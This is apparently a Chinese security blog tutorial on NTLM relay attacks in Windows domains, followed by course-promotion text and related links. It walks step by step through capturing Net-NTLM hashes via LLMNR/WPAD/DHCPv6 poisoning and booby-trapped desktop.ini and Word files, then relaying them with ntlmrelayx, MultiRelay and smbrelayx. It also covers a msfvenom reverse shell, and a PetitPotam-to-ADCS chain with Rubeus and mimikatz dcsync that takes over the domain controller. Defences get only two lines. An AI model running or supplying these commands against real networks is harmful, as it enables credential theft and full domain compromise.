浅析域内NTLM Relay攻击

一、域环境下的认证体系

Windows的身份认证方式有两种,一种是NTLM认证方式,即挑战/响应机制;另外一种就是Kerberos认证方式。

早期,Windows域环境下使用NTLM作为认证方式,后来采用了Kerberos协议。在默认环境下,NTLM认证和Kerberos认证同时存在于域环境下。当我们指定主机名的时候,会选用Kerberos来作为认证方式:

而当指定主机ip的时候,会采用NTLM认证方式。

因此,在Windows域环境下,针对不同的认证机制,也存在不同的攻击手段。

这里主要讨论NTLM中继攻击,因此主要介绍一些NTLM认证协议。NTLM身份认证可以分为两种,一种是本地认证,一种是网络认证。

(1)NTLM本地认证

Windows将用户的密码存储在本地计算机的SAM文件中,文件位置:C:\Windows\System32\config\SAM。密码的存储以NTLM Hash的方式进行存储。当用户输入密码进行本地认证时,首先系统会将明文密码处理成NTLM Hash,然后与SAM文件中的Hash进行比较,相同则认证通过。同时,会在lsass.exe进程中,保存一份明文密码。

这里也提到,lsass进程会缓存一份明文密码,当获取到一台主机权限之后,可以利用mimikatzlsass进程中导出密码。

复制代码
sekurlsa::logonpasswords full

(2)NTLM网络认证

NTLM的网络认证,仔细细分可以分为工作组环境下的认证和域环境下的认证。大致原理相同,都是采用Challenge/Response验证机制。

在工作组环境下,NTLM认证主要分为三步:

1)客户端首先会在本地缓存一份用户输入的密码值对应的NTLM Hash,然后向服务端发送Negotiate协商消息,去指定需要协商认证的用户、机器以及其他相关信息。

2)服务端接收到Negotiate协商消息之后,会将数据传输给NTLM SSP进行处理,然后获得一个返回的16位随机值,称之为Challenge,将其发送给客户端,并在本地缓存该Challenge

3)客户端提取出来Challenge之后,使用本地缓存的NTLM Hash值对其进行加密,得到的值成为Net-NTLM Hash,然后将该值封装到Authenticate认证消息中传输给服务端。

4)服务端收到认证消息之后,会使用自己的密码对应的NTLM Hash值对本地缓存的Challenge进行哈希处理,然后将得到的值与认证消息中的Net-NTLM Hash进行比较,如果匹配则认证通过。

在域环境下,NTLM的认证方式与上面基本相同,唯一不同点是第4步,服务端会向域控请求校验。

二、中继攻击原理解析

NTLM Hash值分为三种,分别为NTLMv1NTLMv2NTLM session v2Net-NTLM Hash根据不同的类型的NTLM Hash加密,可以分为Net-NTLM Hash v1Net-NTLM Hash v2。其中,NTLM v1强度比较低,易于破解,当获取到此Net-NTLM Hash v1值的时候,可以直接进行破解获取到明文。而NTLM v2相对来说密码强度较高,可以进行暴力破解,但是需要比较强大的字典。通常情况下,NTLM Hash的值都是NTLM v2,因此想要直接获取到明文,相对来说比较困难。因此,可以采用另外一种攻击方式,即NTLM Relay攻击。

NTLM Relay攻击其实就是攻击者转发客户端的所有请求给服务端,从而完成认证。这是一种中间人攻击的方式,其实也就是对获取到的Net-NTLM Hash进行重放。

攻击的关键是如何中间截获数据包,获取到Net-NTLM Hash值。下面介绍一些常见的捕获Net-NTLM Hash方法。

(1)利用LLMNRNetBIOS欺骗

LLMNR全称链路本地多播名称解析,是基于域名系统(DNS)数据包格式的协议,IPv4IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议。

NetBios全称网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装TCP/IP协议后会自动安装NetBIOS

Windows解析主机名的顺序为:

1)查看本地hosts文件

2)查看DNS缓存或者DNS服务器中进行查找

3)利用LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找

在局域网环境下,当用户输入了一个不存在的,或者错误的,DNS中不存在的主机名的时候,Windows系统根据主机名解析的顺序开始查找,最终在局域网内广播LLMNR/NBNS数据包来请求解析主机名。

而此时,如果我们以及拥有了一台局域网主机的权限,我们就可以假装成受害者想要访问的主机,从而让受害者交出凭证。

例如,使用Responder工具在局域网下开启监听,等待局域网内广播的数据包。

复制代码
responder -I eth0 -f -v

然后我在域控主机上利用SMB协议随便访问一个不存在主机:dir \\m1sn0w\c$,之后监听主机就可以接收到返回来的Net-NTLM Hash值:

抓取流量包,可以看见,首先进行了广播,然后监听的攻击机(10.10.10.24)响应域控,告诉自己是m1sn0w主机。之后两台机器进行了NTLM认证,域控主机向攻击机发送了Net-NTLM Hash

(2)利用WPAD劫持

WPAD全称为网络代理自动发现协议,它是客户端使用DHCPDNSLLMNRNBNS协议来定位一个代理自动配置文件URL的方法。

代理自动配置文件(PAC),定义了浏览器或者其他代理如何选择适当的代理服务器来访问其要访问的URL

也就是说,通过劫持WPAD,返回一个恶意构造好的PAC文件。然后客户端就会从这个PAC文件中去选择合适的代理服务器。由于远程PAC文件可以指定为攻击者自己的V-P-S服务器上的一个伪造文件,因此客户端的代理服务器也就被攻击者控制了。

PAC代理自动配置文件的格式如下,文件名为wpad.dat

复制代码
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}

劫持WPAD一般有两种方式,一种是利用LLMNR/NBNS投毒,另外一种是利用ipv6协议,使用DHCPv6进行劫持。

1)LLMNR/NBNS投毒

当浏览器设置了代理为自动检测设置后,用户访问一个URL的时候,主机就会向WPAD/wpad.dat发送查询请求。如果在域环境中,没有对WPAD主机进行配置,本地hosts文件和DNS服务器解析不到这个域名的话,就会通过LLMNR广播的方式,向局域网内的服务器询问该主机对应ip

此时如果攻击者在局域网内,就可以伪造声称自己是WPAD主机,并返回给受害者PAC文件,其中的代理服务器可以指向攻击者自身。客户机收到PAC文件之后,所有的HTTP流量都会经过代理服务器,也就是攻击者的服务器,这也就达到了劫持流量的目的,开启了中间人攻击。

IE浏览器默认配置为自动检测代理,当攻击机在局域网内监听流量之后,客户端打开IE浏览器并随机访问一个网页时,攻击者就可以伪造成WPAD,向其返回一个PAC文件,并将代理指向自己。

2)DHCPv6

微软在2016年发布了MS16-077的补丁,添加了两个保护措施:

1、禁止系统通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或者DNS协议来确定位置。

2、更改了PAC文件下载的默认行为,当通过WinHTTP请求PAC文件的时候,不会自动发送客户端的凭据来响应请求。

因此,为了绕过第一个限制,就可以采用DHCP v6的方式。

DHCP V6的交互方式:

1、客户端向组播地址发送Solicit请求报文

2、组播地址包括的整个地址链路范围内的DHCP服务器和中继代理回应一个Advertise消息给客户端。

3、客户端会选择优先级最高的服务器发送Request请求。

4、相应服务器回复确认地址、委托前缀、配置等信息。

也就是说,在IPv6的情况下,攻击者接收到其他机器的DHCP v6组播包之后,可以让受害者的DNS服务器设置成攻击者IPv6地址。这样在进行WPAD查询的时候,就会像攻击者的主机发送请求。

利用mitm6工具,该工具自动检测攻击者计算机的IP配置,并以包含攻击者IP作为DNS服务器的DHCPv6应答回复网络中客户端发送的DHCPv6请求进行DNS欺骗,成功之后将目标主机的默认网关将设置成攻击机的IPv6地址。

工具下载地址:GitHub - dirkjanm/mitm6: pwning IPv4 via IPv6

复制代码
python3 mitm6.py -d de1ay.com -i eth0

第二个限制的绕过方式相对来说就比较简单,只需要在进行HTTP认证的时候,强制用户输入验证信息,即可。在使用Responder工具的时候,使用-F选项。

(3)利用desktop.ini

每一个文件夹都含有一个隐藏文件desktop.ini,该文件的作用主要是用来定义文件夹图标之类的信息。在文件夹属性处,去掉相应选项就可以看见每个文件夹下面存在desktop.ini文件。

将这里的值设置为UNC路径,当其他用户访问此目录的时候,就会向指定的UNC请求图标资源。配合上面的LLMNR/NBNS投毒,即可获取到Net-NTLM Hash

例如,这里我创建一个m1sn0w文件夹,然后将路径修改成\\m1sn0w\c$。利用responder在局域网内开启监听,当我再次打开m1sn0w文件夹的时候,攻击机就可以捕获到Net-NTLM Hash

(4)利用office文件钓鱼

该利用方式也是利用UNC路径,当用户打开Word文档之后,就会自动向指定的UNC发送请求。制作方式:

创建一个word文档,然后添加一张图片进去:

保存之后将文件后缀更改成zip,然后解压缩。在word\_rels\document.xml.rels中找到图片的位置,然后修改成UNC路径:

修改属性值为Target="\\m1sn0w\c$" TargetMode="External",然后压缩之后修改后缀为docx。当用户打开该word文档之后,便会向局域网内发送广播数据包,攻击者就可以获取到Net-NTLM Hash

查看流量数据,可发现广播了数据包去询问主机m1sn0w:

(5)利用Web漏洞或者数据库

例如XSS漏洞,设置一个UNC路径,当客户端运行加载的时候,就会在局域网内进行广播:

复制代码
<script src="\\m1sn0w\c$" >

三、攻击面扩展

当获取到Net-NTLM Hash之后,接下来需要做的就是如何利用该哈希。NTLM是一种底层的认证协议,通常会将获取的Net-NTLM Hash配合上层协议进行攻击。针对Net-NTLM Hash的攻击方式有两种,一种就是直接对其进行暴力破解,另外一种就是通过重放的方式,Relay到其他机器上。(只要是支持NTLM SSP的协议,都可以中继过去)一种比较常见的方式就是中继到SMB服务器上。(还可以中继到其他的服务,例如EWSLDAP等)

如果能直接RelaySMB服务器,就相当于可以直接控制目标服务器,可以在目标服务器上远程命令执行,文件上传,下载文件等操作。在域环境中,只有域控主机默认开启SMB签名,这是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。

(1)利用MultiRelay.py进行攻击

因此,在进行Relay攻击之前,可以通过responder工具包下的RunFinger.py脚本对域内主机的开放情况做一个探测:

复制代码
python3 RunFinger.py -i 10.10.10.1/24 

可以看见只有域控主机开启了SMB签名,因此,接下来尝试通过捕获到域管的Net-NTLM Hash,然后中继到其他两台机器上进行命令执行。

利用responder工具包下的MultiRelay.py脚本进行攻击,如果Relay成功,可以直接获取到目标主机的Shell。这里我尝试RelayWin2008上面,即10.10.10.18

复制代码
python3 MultiRelay.py -t 10.10.10.18 -u ALL

然后在局域网内开启responder,此时要修改一下配置,不让responder抓取Net-NTLM Hash,而由MultiRelay进行中继,关闭SMBHTTP即可。(配置文件路径:/usr/share/responder/Responder.conf

之后我在域控上随机发送SMB流量,待攻击机监听后,转由MultiRelay进行中继,即可获取到目标主机的Shell

(2)利用smbrelayx.py进行攻击

该工具的原理就是在本地临时搭建一个SMB服务,当域内主机访问该主机时,就会截获Net-NTLM Hash,并中继到其他机器:

复制代码
python3 smbrelayx.py -h target_ip -c command

(3)利用ntlmrelayx.py进行攻击

工具下载地址:GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

复制代码
python3 ntlmrelayx.py -t smb://10.10.10.18 -c whoami -smb2support

然后利用responder开启局域网内的监听,待域控主机发送广播数据报之后,攻击机响应数据报,截获域管的Net-NTLM Hash之后,中继到10.10.10.18,与之进行通信。

四、实网对抗下的中继打法

1、被动攻击方式

前面在中继攻击SMB的时候用到的smbrelayx.py脚本,它用于在本地临时搭建一个SMB服务,当域内其他用户访问这个服务的时候,就可以捕获Net-NTLM Hash,从而中继到其他机器上面。

但是在实际场景下,这种方法要实现起来比较困难。首先当前机器的445端口要没有被占用,一般在Windows操作系统下,445端口都是被占用的。其次就是需要目标机器存在Python环境。因此,如果在内网环境下,目标机器是Linux的话,可以考虑利用此方式。

实验拓扑环境如下:

我在主机10.10.10.24上通过smbrelayx.py临时搭建一个SMB服务,然后将捕获的Net-NTLM Hash中继到受害者机器10.10.10.18上面:

复制代码
python3 smbrelayx.py -h 10.10.10.18 -c whoami

当域内主机访问10.10.10.24SMB,就会与其进行NTLM认证,然后捕获到Net-NTLM Hash之后,中继到其他机器:

也可以和其他工具联动,例如可以通过msfvenom生成一个shell.exe,然后放置到攻击机上面。当中继攻击成功以后,可以让他下载本地的shell.exe并运行,这样,在msf中开启监听后,就可以获取到目标的shell

复制代码
# 生成shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.24 LPORT=8899 -f exe -o shell.exe

然后使用exploit/multi/handler,配置AutoRunScript,当获取到shell让他进程自动迁移,避免shell文件被删除时连接的shell断开:

复制代码
set AutoRunScript post/windows/manage/migrate

然后临时搭建SMB服务,利用smbrelayx.py-e参数指定下载运行的文件路径,让获取到Net-NTLM Hash之后,msf就会收到反弹获取的shell

复制代码
python3 smbrelayx.py -h 10.10.10.18 -e ../../shell.exe

2、主动攻击方式

(1)PortBender流量重定向

在实际的网络拓扑环境下,一般都是通过团队服务器向目标主机上传一个beacon后获取权限。此时进行中继攻击就会存在几个问题,比如:目标445端口已经被占用,所以不能直接嗅探该端口传入的流量。又或者目标Windows主机上没有一些语言环境,操作不方便。

最简单的一种实网拓扑结构:图来自https://rastamouse.me/ntlm-relaying-via-cobalt-strike/

TeamServer位于互联网。当目标主机通过beacon控制之后,如果要利用NTLM Relay攻击中继到内网的其他机器,最简单的做法就像上面那样,开启监听之后Relay到其他机器,但这里存在的一个问题是,如果目标机器的445端口占用了,也就是说不能直接监听到445的流量,同时,内网环境下,目标通常是Windows操作系统,如果没有装Python,那么有一些工具就不能运行。

因此,在对抗过程中,可以使用端口流量的重定向,以及流量转发,代理来实现攻击机通过TeamServer攻击内网。

PortBender工具可以用于端口流量的重定向,工具地址:https://github.com/praetorian-inc/PortBender,将PortBender.cna导入到Cobalt Strike中。

当获取一个SYSTEM权限的beacon之后,通过upload命令将WinDivert64.sys或者WinDivert32.sys上传到目标主机(根据目标主机的类型),然后执行:

复制代码
PortBender redirect 445 8445

此时会将445端口的流量重定向到8445端口,接下来配置rportfwd

Cobalt Strike工具自带的rportfwd,用于远程端口转发,即将目标机器的某个端口流量全部转发到远端指定的一个端口,命令如下:

复制代码
rportfwd 8445 10.10.20.25 445

表示将此台(受控端)主机8445端口的流量转发到攻击机(10.10.20.25)的445端口上。也就是说445端口的流量此时通过重定向,发送给了8445端口,由于远程端口转发,本地8445端口流量全部转发到远程主机的445端口上。

此时设置一个代理,通过代理运行nltmrelayx.py进行中继攻击的监听:

复制代码
# 开启代理
socks 1080
​
# 配置代理/etc/proxychains4.conf
socks4 10.10.20.24 1080
​
# 中继攻击监听
proxychains python3 ntlmrelayx.py -t smb://10.10.10.18 -smb2support

当受控主机的445端口收到身份认证的流量之后,将会将流量传送到监听的远程攻击主机上,收到Net-NTLM Hash之后,通过socks代理,就可以中继到内网的其他主机。

这里顺便提一下,就是此时域内主机主动连接该445端口,是不会进行认证的。(域内主机发送了一个询问流量之后,不会收到来自该主机的响应)因此,单纯利用这种方式被动的等待比较鸡肋。在这种情况下并不是进行被动收集Net-NTLM Hash,而是通过主动攻击的方式,利用一些漏洞,比如打印机漏洞,还有最近比较火的PetitPotam,主动向该端口发送Net-NTLM Hash

(2)利用PetitPotam中继ADCS接管域

由于NTLM Relay不能够中继自己,所以利用这种方式进行攻击,更像是一种提权手段,在已知域内一台主机账号密码的情况下,可以让他向CS发送NTLM请求,获取一个证书。

最近内网攻防比较火的一种攻击方式,利用PetitPotam,强制域内主机发起NTLM Hash,中继到ADCS获取证书,从中提取TGT,利用票据传递接管域控。

PetitPotam中继攻击,这是一种新型的NTLM Relay攻击利用手法,其利用了微软加密文件系统远程协议。利用该漏洞,攻击者连接到LSARPC后能够强制触发目标机器向指定的远程服务器发送Net-NTLM Hash,在获取到Net-NTLM Hash之后,就能够进行NTLM Relay攻击。

ADCS证书服务器在默认安装之后,由于ADCSHTTP证书接口(/certsrv/certfnsh.asp)没有启用NTLM中继保护,并且在HTTP请求的时候,Authorization HTTP标头明确指定只允许通过NTLM进行身份验证。因此,配合上面的PetitPotam的方式,强制域控向该接口发送Net-NTLM Hash,从而可以获取到一个域内的证书,从中提取TGT,利用票据传递接管域控。

在内网环境中,如果存在两个域控(一个主域控,一个辅助域控),都安装了ADCS证书服务的话,可以导出TGT,从而接管域控:(实验拓扑图)

由于在win2008win2012环境下,通过PetitPotam强制域控发起Net-NTLM Hash可以以匿名的方式,也就是说不需要知道账号密码也可发送。

复制代码
python3 PetitPotam.py -d de1ay 10.10.10.25 10.10.10.99

强制辅助域控(10.10.10.99)向本机(10.10.10.25)的445端口发送Net-NTLM Hash,然后在本地主机上捕获到Net-NTLM Hash之后,发起中继攻击,中继到域控主机(10.10.10.10)的ADCS服务上申请一个证书:

复制代码
python3 ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs

申请到证书之后,就可以通过Rubeus攻击从中提取出来TGT,转而接管域控:(这里假设Win7客户机已经被拿下,接下来操作在Win7上进行即可)

复制代码
Rubeus.exe asktgt /user:username /certificate:证书的base64值 /ptt

通过mimikatz可以查看kerberos票据信息:kerberos::list,导出krbtgt的哈希值:lsadump::dcsync /user:krbtgt /csv

而现实的网络拓扑环境可能是这个样子:

所有的流量都通过Win7客户机发送给内网主机。Win7客户机的445端口被占用,此时想要通过同样的方式,攻击域控的ADCS可以使用PortBenderTCP流量重定向。

具体攻击思路是将Win7上面的445端口流量重定向之后,TeamServer通过远程流量转发的方式,传回攻击者监听的445端口。攻击者开启socks代理,将流量传送到域控的80端口,请求获取一个证书。

我这里利用Cobalt Strick,拿到Win7客户机的一个System权限的Beacon后,开启一个socks代理:socks 1080,然后远程转发端口流量,将8445的流量全部转发到攻击者的445端口:

之后上传WinDivert32.sys(我这里Win7是32位的),执行PortBender redirect 445 8445,将Win7上的445端口流量全部转发到8445端口。

攻击机配置完代理之后,在攻击机上面开启攻击ADCS的脚本并监听来自445端口的流量:

复制代码
proxychains python3 ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs

然后通过代理的方式,利用PetitPotm向辅助域控发送流量,强制其发送Net-NTLM HashWin7的445端口:

复制代码
proxychains python3 PetitPotam.py -d de1ay 10.10.10.201 10.10.10.99

由于网络问题,多发几次包之后,就可以获取到证书信息:

五、中继攻击防御措施

1、开启签名保护

2、EAPEnhanced Protection Authentication

六、总结

NTLM Relay是一种中间人攻击的方式,一般而言都是被动攻击,等待连接操作,但PetitPotam的出现,发生了一些改变。正如上面实验,在两台域控都安装了ADCS的情况下,不需要被动等待即可发起攻击。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》 ,需要点击下方链接即可前往获取

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供:

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

相关推荐
独行soc1 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
独行soc3 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
fantasy_arch3 小时前
CPU性能优化-磁盘空间和解析时间
网络·性能优化
Clockwiseee4 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash5 小时前
安全算法基础(一)
算法·安全
云云3215 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云3215 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵
是Dream呀5 小时前
Python从0到100(七十八):神经网络--从0开始搭建全连接网络和CNN网络
网络·python·神经网络
xcLeigh5 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
白乐天_n5 小时前
腾讯游戏安全移动赛题Tencent2016A
安全·游戏